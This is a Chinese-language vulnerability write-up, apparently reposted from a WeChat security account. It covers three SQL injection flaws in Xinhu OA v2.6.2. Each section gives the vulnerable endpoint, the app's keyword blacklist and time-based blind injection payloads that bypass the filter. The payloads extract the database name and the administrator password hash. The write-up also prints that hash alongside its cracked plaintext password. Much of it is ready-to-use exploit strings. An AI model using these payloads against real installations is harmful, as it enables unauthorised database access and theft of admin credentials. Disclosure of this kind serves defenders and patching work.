No.1
SQL注入-1
代码审计
漏洞点出在
/webmain/flow/input/mode_gongAction.php
下的 submittoupiaoAjax 方法
可以发现它对传入参数没有进行任何的过滤便拼接执行 SQL 注入
(PS:虽然 get 和 post 请求进行了全局过滤,但过滤不严可以绕过)
url:
http://localhost/index.php?
a=submittoupiao&m=mode_gong|input&d=flow&ajaxbool=true&mid=3&sid=1&modenum=1
通过跟踪 SQL 执行,可以看到实际上执行的是以下 sql 语句
update `xinhu_infors` set `touci`=`touci`+1 where `mid`=3 and `id` in(1)
其中 $mid 和 $sid 我们都可以进行注入,此处我选择 $mid 进行注入
不过它 get 和 post 传参过滤了很多参数(已经丧心病狂到影响内容的程度了...)
select,alter,delete,drop,update,/*,*/,insert,from,time_so_sec,convert,from_unixt
ime,unix_timestamp,curtime,time_format,union,concat,information_schema,group_con
cat,length,load_file,outfile,database,system_user,current_user,user(),found_rows
,declare,master,exec,(),select*from,select
但黑名单总是不如白名单的,所以简单 bypass 下得出以下 poc
3||if(ascii(substr((select(database())),1,1))=114,benchmark(666666666,1),0)#
尝试注出当前数据库名
3||if(ascii(substr((select(database())),1,1))=114,benchmark(666666666,1),0)#
第一个字符为 r
3||if(ascii(substr((select(database())),2,1))=110,benchmark(666666666,1),0)#
3||if(ascii(substr((select(database())),2,1))=111,benchmark(666666666,1),0)#
第二个字符为 o
最后注入出当前数据库为 rockxinhu
除此之外,使用以下 poc 还可以注出管理员密码:
/index.php?
a=submittoupiao&m=mode_gong|input&d=flow&ajaxbool=true&mid=0||IF(ASCII(SUBSTR((S
ELECT(pass)FROM(`xinhu_admin`)WHERE(id=1)),1,1))=98,BENCHMARK(666666666,1),0)#&s
id=1&modenum=1
No.2
SQL注入-2
代码审计
漏洞点出在
/webmain/flow/input/mode_knowtraimAction.php
下的 biaoshiAjax 方法
可以发现它对传入参数没有进行任何的过滤便拼接执行 SQL 注入
url:
http://localhost/index.php?d=flow&m=mode_knowtraim|input&a=biaoshi&ajaxbool=true
update `xinhu_knowtrais` set
`kssdt`=null,`ksedt`=null,`fenshu`='0',`kstime`='0',`isks`='0',`tkids`=null,`dyi
ds`=null,`dyjgs`=null where `id` in(1) and `mid` in(select `id` from
`[Q]knowtraim` where `state`<>
通过跟踪 SQL 执行,可以看到实际上执行的是以下 sql 语句
其中 $fid 我们可以进行注入
select,alter,delete,drop,update,/*,*/,insert,from,time_so_sec,convert,from_unixt
ime,unix_timestamp,curtime,time_format,union,concat,information_schema,group_con
cat,length,load_file,outfile,database,system_user,current_user,user(),found_rows
,declare,master,exec,(),select*from,select*
bypass 下得出以下 poc
1)&&IF(1=1,BENCHMARK(666666666,1),0)#
尝试注出管理员密码
1)&&IF(ascii(substr((select(pass)from(`xinhu_admin`)where(id=1)),1,1))=98,BENCHM
ARK(666666666,1),0)#
得到第一个字符为 'b
1)&&IF(ascii(substr((select(pass)from(`xinhu_admin`)where(id=1)),2,1))=98,BENCHM
ARK(666666666,1),0)#
1)&&IF(ascii(substr((select(pass)from(`xinhu_admin`)where(id=1)),2,1))=49,BENCHM
ARK(666666666,1),0)#
得到第二个字符为 '1
最后得到管理员的密码为:b13d93cd920d4155634eae0cc2e71c78
解密后是:Aa635241
No.3
SQL注入-3
代码审计
漏洞点出在
/webmain/flow/input/mode_userAction.php
下的 editsuperAjax 方法
可以发现它对传入参数没有进行任何的过滤便拼接执行 SQL 注入
url:
http://localhost/index.php?d=flow&m=mode_user|input&a=editsuper&ajaxbool=true
通过跟踪 SQL 执行,可以看到实际上执行的是以下 sql 语句
update `xinhu_admin` set `superid`='1',`superman`='1' where `id` in(1) and id
not in(1)
其中 $sid 和 $xid 我们都可以进行注入,此处我选择 $xid 进行注入
不过它 get 和 post 传参过滤了很多参数(已经丧心病狂到影响内容的程度了...)
select,alter,delete,drop,update,/*,*/,insert,from,time_so_sec,convert,from_unixt
ime,unix_timestamp,curtime,time_format,union,concat,information_schema,group_con
cat,length,load_file,outfile,database,system_user,current_user,user(),found_rows
,declare,master,exec,(),select*from,select*
但黑名单总是不如白名单的,所以简单 bypass 下得出以下 poc
1)&&IF(1=1,BENCHMARK(666666666,1),0)#
尝试注出当前数据库
1)&&IF(ASCII(SUBSTR(DATABASE(),1,1))=114,BENCHMARK(666666666,1),0)#
得到第一个字符为 'r'
1)&&IF(ASCII(SUBSTR(DATABASE(),2,1))=114,BENCHMARK(666666666,1),0)#
1)&&IF(ASCII(SUBSTR(DATABASE(),2,1))=111,BENCHMARK(666666666,1),0)#
得到第二个字符为 'o
最后得到当前数据库为:rockxinhu
No.4
原文始发于微信公众号(隐雾安全):信呼 OA v2.6.2 sql注入
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论